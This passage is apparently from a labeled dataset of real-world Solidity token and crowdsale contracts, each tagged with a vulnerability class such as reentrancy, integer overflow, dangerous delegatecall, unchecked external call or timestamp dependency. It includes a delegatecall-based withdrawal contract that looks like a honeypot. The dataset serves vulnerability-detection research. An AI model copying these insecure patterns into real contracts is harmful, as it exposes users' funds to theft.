? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { address public tier; function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } function updateRate(uint newOneTokenInWei) public; function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); function finalizeCrowdsale(); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } contract CrowdsaleExt is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; FractionalERC20Ext public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; string public name; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } bool public isUpdatable; mapping (address => WhiteListData) public earlyParticipantWhitelist; address[] public whitelistedParticipants; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); event StartsAtChanged(uint newStartsAt); event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { throw; } else if(getState() == State.Funding) { if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { throw; } if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function invest(address addr) public payable { investInternal(addr, 0); } function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { uint public maximumSellableTokens; function MintedTokenCappedCrowdsaleExt( string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { maximumSellableTokens = _maximumSellableTokens; } event MaximumSellableTokensChanged(uint newMaximumSellableTokens); function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { assert(isWhiteListed); uint maxCap = earlyParticipantWhitelist[addr].maxCap; return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function setMaximumSellableTokens(uint tokens) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); maximumSellableTokens = tokens; MaximumSellableTokensChanged(maximumSellableTokens); } function updateRate(uint newOneTokenInWei) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",./Dataset/timestamp dependency (TP)/,6,6 22511.sol,"pragma solidity ^0.4.4; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract Token { function totalSupply() public constant returns (uint256 supply) {} function balanceOf(address _owner) public constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) public returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} function approve(address _spender, uint256 _value) public returns (bool success) {} function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is owned, Token { function transfer(address _to, uint256 _value) onlyOwner public returns (bool success) { //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Eclipse is StandardToken { /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; uint256 public total_supply; // This is a constructor function function Eclipse() public { total_supply = 1000000000 * 10 ** uint256(18); balances[msg.sender] = total_supply; totalSupply = total_supply; name = 'Eclipse'; decimals = 18; symbol = 'ECP'; unitsOneEthCanBuy = 1893; fundsWallet = msg.sender; } function changeOwnerWithTokens(address newOwner) onlyOwner public { owner = newOwner; balances[owner] += balances[fundsWallet]; balances[fundsWallet] = 0; fundsWallet = owner; } function changePrice(uint256 _newAmount) onlyOwner public { unitsOneEthCanBuy = _newAmount; } function() public payable { totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); // if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } }",./Dataset/reentrancy (RE)/,5,5 1301.sol,"pragma solidity ^0.4.24; contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } modifier auth { require(isAuthorized(msg.sender)); _; } function isAuthorized(address src) internal view returns (bool) { if (src == owner) { return true; } else { return false; } } } contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } } contract ERC20Events { event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); } contract ERC20 is ERC20Events { function totalSupply() public view returns (uint); function balanceOf(address guy) public view returns (uint); function frozenFunds(address guy) public view returns (uint); function allowance(address src, address guy) public view returns (uint); function approve(address guy, uint wad) public returns (bool); function transfer(address dst, uint wad) public returns (bool); function transferFrom( address src, address dst, uint wad ) public returns (bool); } contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => uint256) _frozens; mapping (address => mapping (address => uint256)) _approvals; constructor(uint supply) public { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() public view returns (uint) { return _supply; } function balanceOf(address src) public view returns (uint) { return _balances[src]; } function frozenFunds(address src) public view returns (uint) { return _frozens[src]; } function allowance(address src, address guy) public view returns (uint) { return _approvals[src][guy]; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { if (src != msg.sender) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); emit Transfer(src, dst, wad); return true; } function approve(address guy, uint wad) public returns (bool) { _approvals[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } } contract DSToken is DSTokenBase(60000000000000000000000000), DSStop { string public symbol = ""HER""; uint8 public decimals = 18; event Freeze(address indexed guy, uint wad); function approve(address guy, uint wad) public stoppable returns (bool) { return super.approve(guy, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { require(_balances[src] - _frozens[src] >= wad); if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); emit Transfer(src, dst, wad); return true; } function freezeAccount(address guy, uint wad) public auth { require(_balances[guy] >= wad); _frozens[guy] = add(0, wad); emit Freeze(guy, wad); } string public name = ""Herdius""; function setName(string name_) public auth { name = name_; } function setSymbol(string symbol_) public auth { symbol = symbol_; } }",./Dataset/integer overflow (OF)/,4,4 30358.sol,"pragma solidity ^0.4.19; contract loglibs { mapping (address => uint256) public sendList; function logSendEvent() payable public{ sendList[msg.sender] = 1 ether; } } contract debugContract { address Owner=msg.sender; uint256 public Limit= 1 ether; address loglib = 0xBC3A2d9D5Cf09013FB6ED85d97B180EaF76000Bd; function()payable public{} function withdrawal() payable public { if(msg.value>=Limit) { loglib.delegatecall(bytes4(sha3(""logSendEvent()""))); msg.sender.send(this.balance); } } function kill() public { require(msg.sender == Owner); selfdestruct(msg.sender); } }",./Dataset/dangerous delegatecall (DE)/,1,1 34110.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract BitcoinBronze is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function BitcoinBronze( ) { balances[msg.sender] = 50000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 50000000000000000000000000; // Update total supply (100000 for example) name = ""Bitcoin Bronze""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""BTCB""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 6586.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract TokenTimelockController is Ownable { using SafeMath for uint; struct TokenTimelock { uint256 amount; uint256 releaseTime; bool released; bool revocable; bool revoked; } event TokenTimelockCreated( address indexed beneficiary, uint256 releaseTime, bool revocable, uint256 amount ); event TokenTimelockRevoked( address indexed beneficiary ); event TokenTimelockBeneficiaryChanged( address indexed previousBeneficiary, address indexed newBeneficiary ); event TokenTimelockReleased( address indexed beneficiary, uint256 amount ); uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days; uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days; uint256 public constant INVESTOR_LOCK_DURATION = 6 * 30 days; mapping (address => TokenTimelock[]) tokenTimeLocks; ERC20 public token; address public crowdsale; bool public activated; constructor(ERC20 _token) public { token = _token; } modifier onlyCrowdsale() { require(msg.sender == crowdsale); _; } modifier onlyWhenActivated() { require(activated); _; } modifier onlyValidTokenTimelock(address _beneficiary, uint256 